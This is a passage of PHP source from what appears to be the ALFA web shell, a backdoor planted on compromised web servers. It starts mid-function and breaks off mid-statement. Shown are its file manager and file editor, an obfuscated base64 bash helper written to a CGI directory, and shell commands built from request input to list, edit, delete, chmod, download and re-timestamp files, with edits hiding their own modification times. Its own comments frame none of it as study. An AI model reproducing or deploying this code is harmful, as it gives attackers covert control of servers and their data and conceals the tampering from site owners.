			$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
			$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);
			__alfa_set_cookie("alfachdir_bash", "true");
			__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
		}
		$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'");
		$dirContent = json_decode($dirContent, true);
		if(is_array($dirContent)){
			array_pop($dirContent);
			$cmd_dir = true;
		}else{
			$dirContent = false;
		}
	}
}
alfahead();
AlfaNum(8,9,10,7,6,5,4);
$count_dirContent = @count($dirContent);
if($count_dirContent > 300){
	@$_COOKIE["alfa_limited_files"] = 100;
}
$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;
$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
$files_page_count = 1;
if($alfa_limited_files > 0){
	$files_page_count = ceil($count_dirContent/$alfa_limited_files);
	if($files_page_count > 1){
		$files_page_count++;
	}
}
echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" '.($alfa_sort_by == 'name'?'selected':'').'>Name</option><option value="size" '.($alfa_sort_by == 'size'?'selected':'').'>Size</option><option value="modify" '.($alfa_sort_by == 'modify'?'selected':'').'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" '.($alfa_filesman_direction == 'asc'?'selected':'').'>Ascending</option><option value="desc" '.($alfa_filesman_direction == 'desc'?'selected':'').'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="'.$alfa_limited_files.'" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">'.($count_dirContent-1).'</b></span></div><div class="header">';
if($dirContent == false){
echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
alfaFooter();
return;
}
global $sort;
$sort = array('name', 1);
if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){
	$sort[0] = $_COOKIE["alfa_sort_by"];
}
if(!empty($_POST['alfa1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
$sort = array($match[1], (int)$match[2]);
}
if($alfa_files_page_number > ($files_page_count-1)){
	$alfa_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk".$checkbox_rand."' onclick='checkBox(this);' class='chkbx'><label for='mchk".$checkbox_rand."'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = $count_dirContent;
if($n > $alfa_limited_files && $alfa_limited_files > 0){
	$n = ($alfa_limited_files * $alfa_files_page_number);
	if($n > $count_dirContent){
		$n = $count_dirContent;
	}
}
$i = 0;
if($alfa_limited_files > 0 && $alfa_files_page_number > 1){
	$i = $alfa_limited_files * ($alfa_files_page_number - 1);
}
$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);
$cmd_dir_backp = "";
for(;$i<$n;$i++){
if($cmd_dir){
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
$file_size = $dirContent[$i]["size"];
if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
}else{
$file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"];
}
}else{
$filename = $dirContent[$i];
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
$file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);
$file_size = @filesize($GLOBALS['cwd'].$filename);
$file_path = $GLOBALS['cwd'].$filename;
}
$tmp = array('name' => $filename,
'path' => $file_path,
'modify' => $file_modify,
'perms' => $file_perm,
'size' => $file_size,
'owner' => $file_owner,
'group' => $file_group
);
if($filename == ".." && !$cmd_dir){
	$tmp["path"] = str_replace("\\", "/", realpath($file_path));
}
if(!$cmd_dir){
if(@is_file($file_path)){
$arr_mrg = array('type' => 'file');
if(@is_link($file_path)){
$arr_mrg["link"] = readlink($tmp['path']);
}
$files[] = array_merge($tmp, $arr_mrg);
}elseif(@is_link($file_path)){
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
}elseif(@is_dir($file_path)&& ($filename != ".")){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}else{
	if($dirContent[$i]["type"]=="file"){
		$files[] = array_merge($tmp, array('type' => 'file'));
	}else{
		if($dirContent[$i]["name"] != "."){
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
		}
	}
}
}
$GLOBALS['sort'] = $sort;
function alfaCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "alfaCmp");
usort($dirs, "alfaCmp");
if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){
	if($_COOKIE["alfa_filesman_direction"] == 'desc'){
		$files = array_reverse($files);
		$dirs = array_reverse($dirs);
	}
}
$files = array_merge($dirs, $files);
$l=0;
$cc=0;
foreach($files as $f){
$f['name'] = htmlspecialchars($f['name']);
$newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
$checkbox = 'checkbox_'.$checkbox_rand.$cc;
$raw_name = rawurlencode($f['name']);
$icon = $GLOBALS['DB_NAME']['show_icons']?'<img src="'.findicon($f['name'],$f['type']).'" width="30" height="30">':'';
$style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
echo '<tr class="fmanager-row" id="tr_row_'.$cc.'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'.$raw_name.'" class="chkbx" id="'.$checkbox .'"><label for="'.$checkbox .'"></label></div></td><td id="td_row_'.$cc.'">'.$icon.'<div style="'.$style.'"><a row="'.$cc.'" id="id_'.$cc.'" class="main_name" onclick="'.(($f['type']=='file')?'editor(\''.$raw_name.'\',\'auto\',\'\',\'\',\'\',\''.$f['type'].'\');" href="#action=fileman&path='.$GLOBALS['cwd'].'&file='.$raw_name.'" fname="'.$raw_name.'" ftype="file" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'>'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?"<span class='shell_name' style='font-weight:unset;'>".$f['name']."</span>":htmlspecialchars($newname)):'g(\'FilesMan\',\''.$f['path'].'\');" href="#action=fileman&path='.$f['path'].'" fname="'.$raw_name.'" ftype="folder" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td></div><td><span style="font-weight:unset;" class="main_size">'.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).'</span></td><td><span style="font-weight:unset;" class="main_modify">'.$f['modify'].'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'.$f['owner'].'/'.$f['group'].'</span></td><td><a id="id_chmode_'.$cc.'" href=javascript:void(0) onclick="editor(\''.$raw_name.'\',\'chmod\',\'\',\'\',\'\',\''.$f['type'].'\')">'.
$f['perms'].'</td><td><a id="id_rename_'.$cc.'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'rename\',\'\',\'\',\'\',\''.$f['type'].'\')">R</a> <a id="id_touch_'.$cc.'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'touch\',\'\',\'\',\'\',\''.$f['type'].'\')">T</a>'.(($f['type']=='file')?' <a id="id_edit_'.$cc.'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'edit\',\'\',\'\',\'\',\''.$f['type'].'\')">E</a> <a id="id_download_'.$cc.'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$raw_name.'\', \'download\')">D</a>':'').'<a id="id_delete_'.$cc.'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \''.$raw_name.'\') : \'\';"> X </a></td></tr>';
$l = $l?0:1;
$cc++;
}
echo "<tr id='filemanager_last_tr'><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars(($GLOBALS['glob_chdir_false']?$_POST['c']:$GLOBALS['cwd']))."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>
<input type='submit' value=' '>
</form></table><div class='pages-holder'><div class='pages-number'>".$page_builder."</div></div></div></div>";
alfafooter();
}
function get_pagination_links($current_page, $total_pages){
    $links = "";
    if ($total_pages >= 1 && $current_page <= $total_pages) {
		$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
		$selected_page = "";
		if($current_page == 1){
			$selected_page = " active-page-number";
		}
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">1</a>";
        $i = max(2, $current_page - 5);
        if ($i > 2)
            $links .= "<a class=\"page-number\">...</a>";
        for (; $i < min($current_page + 6, $total_pages); $i++) {
			if($i == $current_page){
				$selected_page = " active-page-number";
			}else{
				$selected_page = "";
			}
            $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$i}</a>";
        }
        if ($i != $total_pages)
            $links .= "<a class=\"page-number\">...</a>";
		$selected_page = " last-page-number";
		if($current_page == $total_pages){
			$selected_page .= " active-page-number";
		}
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$total_pages}</a>";
		$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
    }
    return $links;
}
function alfaFilesTools(){
alfahead();
echo '<div class="filestools" style="height: 100%;">';
if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
$alfa1_decoded = $_POST['alfa1'];
$chdir_fals = false;
if(!@chdir($_POST['c'])){
	$chdir_fals = true;
	$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
	$alfa_canruncmd = _alfa_can_runCommand(true,true);
	if($alfa_canruncmd){
		$slashed_alfa1 = addslashes($_POST['alfa1']);
		$file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_alfa1.'"'));
		$perm_color_class = alfaEx("if [[ -w '".$slashed_alfa1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_alfa1."' ]]; then echo main_white_perm; else echo main_red_perm; fi");
	}
}
if($_POST['alfa2'] == 'auto'){
if(is_array(@getimagesize($_POST['alfa1']))){
$_POST['alfa2'] = 'image';
}else{
	$_POST['alfa2'] = 'view';
	if($chdir_fals){
		if($alfa_canruncmd){
			$mime = explode(":", alfaEx("file --mime-type '".addslashes($_POST['alfa1'])."'"));
			$mimetype = $mime[1];
			if(!empty($mimetype)){
				if(strstr($mimetype, "image")){
					$_POST['alfa2'] = 'image';
				}
			}
		}
	}
}
}
if($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];}
if(@$_POST['alfa2'] == 'mkfile'){
$_POST['alfa1'] = trim($_POST['alfa1']);
if($chdir_fals&&$alfa_canruncmd){
	if(_alfa_is_writable($_POST["c"])){
		alfaEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($alfa1_decoded)."'");
		$_POST['alfa2'] = "edit";
	}
}
if(!@file_exists($_POST['alfa1'])){
$fp = @fopen($_POST['alfa1'], 'w');
if($fp){
$_POST['alfa2'] = "edit";
fclose($fp);
}
}else{
$_POST['alfa2'] = "edit";
}
}
if(!_alfa_file_exists(@$_POST['alfa1'])){
echo __pre()."<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('".$_POST['alfa4']."');</script>";
alfaFooter();
return;
}
if($chdir_fals){
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';
$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';
if(!$uid&&!$gid){
$uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):'';
$gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):'';
}
$permcolor = alfaPermsColor($_POST['alfa1']);
$filesize = @filesize($_POST['alfa1']);
if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
	if(_alfa_can_runCommand()){
		list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"'));
	}
}
}
if(substr($_POST['alfa1'], 0, 7) == "phar://"){
	$alfa_file_directory = $_POST['alfa1'];
}else{
	$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']);
}
echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> '.htmlspecialchars(basename($alfa1_decoded)).' <span class="editor_file_info_vars">Size:</span> '.alfaSize($filesize).' <span class="editor_file_info_vars">Permission:</span> '.$permcolor.' <span class="editor_file_info_vars">Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].' <span class="editor_file_info_vars">Directory:</span> '.dirname($alfa_file_directory).'</div>';
if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';
if(!_alfa_is_dir($_POST['alfa1'])){
$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
$ftype = "file";
}else{
$m = array('Chmod', 'Rename', 'Touch');
$ftype = "dir";
}
echo('<div>');
foreach($m as $v)
echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\'):\'\';"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\')"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a>';
echo '</div>';
switch($_POST['alfa2']){
case 'view':case 'edit':
@chdir($_POST['c']);
$disabled_btn = "";
if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){
$disabled_btn = "disabled=disabled";
$disabled_btn_style= 'background: #ff0000;color: #fff;';
}
if(!empty($_POST['alfa3'])){
$_POST['alfa3'] = substr($_POST['alfa3'],1);
$time = @filemtime($_POST['alfa1']);
$fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);
if($chdir_fals&&$alfa_canruncmd){
	$rname = $alfa1_decoded;
	$randname = $rname.rand(111,9999);
	$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
	if($fp = @__write_file($filepath ,$_POST['alfa3'])){
		alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'");
	}
}
if($fp){
echo 'Saved!<br>';
@touch($_POST['alfa1'],$time,$time);
}
}
echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">'._alfa_load_ace_options("editor").'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\''.addslashes($alfa1_decoded).'\',\'edit\',\'1\'+ace_val,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;'.$disabled_btn_style.'" '.$disabled_btn.'>save</button></div><pre class="ml1 view_ml_content">';
echo htmlspecialchars(__read_file($_POST['alfa1']));
echo '</pre></div></div>';
break;
case 'highlight':
@chdir($_POST['c']);
if(@is_readable($_POST['alfa1'])){
echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['alfa1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div></div></div>';
}
break;
case 'delete':
@chdir($_POST['c']);
if(@is_writable($_POST['alfa1'])||$GLOBALS["glob_chdir_false"]){
$deleted = true;
if(!@unlink($_POST['alfa1'])){
	$deleted = false;
	if($alfa_canruncmd){
		if(_alfa_is_writable($_POST['alfa1'])){
			alfaEx("rm -f '".addslashes($_POST['alfa1'])."'");
			$deleted = true;
		}
	}
}
if($deleted)echo 'File Deleted...<script>var elem = $("'.$_POST['alfa4'].'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["'.$_POST['alfa4'].'"];</script>';else echo 'Error...';}
break;
case 'chmod':
@chdir($_POST['c']);
if(!empty($_POST['alfa3'])){
$perms = 0;
for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
$perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
if(!@chmod($_POST['alfa1'], $perms)){
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'");
echo('Success!');
}else{
echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';}
}else{echo('Success!');}
}
clearstatcache();
AlfaNum(8,9,10,7,6,5,4,2,1);
if($chdir_fals){
	$file_perm = $file_info[5];
}else{
	$file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);
}
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.chmod.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="chmod" value="'.$file_perm.'"><input type=submit value=" "></form>';
break;
case 'hexdump':
@chdir($_POST['c']);
$c = __read_file($_POST['alfa1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table></div></div>';
break;
case 'rename':
@chdir($_POST['c']);
$alfa1_escape = addslashes($_POST["alfa1"]);
$alfa3_escape = addslashes($_POST["alfa3"]);
if(!empty($_POST['alfa3'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'");
}else{
$cmd_rename = true;
}
}else{
$alfa1_escape = addslashes($_POST["alfa1"]);
}
if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){
echo 'Can\'t rename!<br>';}else{echo('Renamed!<script>try{$("'.$_POST['alfa4'].'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\''.$alfa3_escape.'\',\''.$ftype.'\',\''.$_POST['alfa4'].'\')+"</div><div class=\'editor-file-name\'>'.$alfa3_escape.'</div>";editor_files["'.$_POST['alfa4'].'"].file = "'.$alfa3_escape.'";updateFileEditor("'.$alfa1_escape.'", "'.$alfa3_escape.'");'.($ftype == "dir"?"updateDirsEditor('".$_POST['alfa4']."','".$alfa1_escape."');":"").'}catch(e){console.log(e)}</script>');$alfa1_escape = $alfa3_escape;}
}
echo '<form onsubmit="editor(\''.$alfa1_escape.'\',\''.$_POST['alfa2'].'\',this.name.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="name" value="'.addslashes(htmlspecialchars(isset($_POST['alfa3'])&&$_POST['alfa3']!=''?$_POST['alfa3']:$alfa1_decoded)).'"><input type=submit value=" "></form>';
break;
case 'touch':
@chdir($_POST['c']);
if( !empty($_POST['alfa3']) ) {
$time = strtotime($_POST['alfa3']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
	alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'");
	$touched = true;
}
if(!@touch($_POST['alfa1'],$time,$time)&&!$touched)
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.touch.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST['alfa1']))).'"><input type=submit value=" "></form>';
break;
case 'image':
@chdir($_POST['c']);
echo('<hr>');
$file = $_POST['alfa1'];
$image_info = @getimagesize($file);
if(is_array($image_info)||$chdir_fals){
$width = (int)$image_info[0];
$height = (int)$image_info[1];
if($chdir_fals&&$alfa_canruncmd){
	$source = alfaEx("cat '".addslashes($file)."' | base64");
	list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'"));
	$mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'"));
	$image_info['mime'] = $mime[1];
}else{
	$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = <span>[</span> ".$image_info['mime']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
if($width > 800){$width = 800;}
echo $content = "<div class='editor-view'><div class='view-content'><center>".$image_info_h."<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:".$image_info['mime'].";base64,".$source."' alt='".$file."'></center></div></div><br>";
}
break;
}
echo '</div>';
alfaFooter();
}
function findicon($file,$type){
$s = 'http://solevisible.com/icons/';
$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
if($type!='file'){
return ($file=='..'?$s.'back.png':$s.'folder.png');
}else{
$ext = explode('.',$file);
$ext = end($ext);
$ext = strtolower($ext);
return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
}
}
function alfadlfile(){
if(isset($_POST['c'],$_POST['file'])){
$basename = rawurldecode(basename($_POST['file']));
$_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
header("Content-Type: application/octet-stream");
if($GLOBALS["glob_chdir_false"]){
	$randname = $basename.rand(111,9999);
	$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
	$filepath = $scriptpath."/".$randname;
	if(_alfa_is_writable($scriptpath)){
		alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
		readfile($filepath);
		@unlink($filepath);
	}else{
		alfaEx("cat '".addslashes($_POST["file"])."'");
	}
}else{
	readfile($_POST['file']);
}
}else echo('Error...!');}}
function __alfa_set_cookie($key, $value){
	$_COOKIE[$key] = $value;
	@setcookie($key, $value, time()+(86400 * 7), '/');
}
function alfaphpeval(){
if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
	$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
}else{
	$tempdir = dirname(alfaEx("mktemp"));
	__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
alfahead();
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr>'
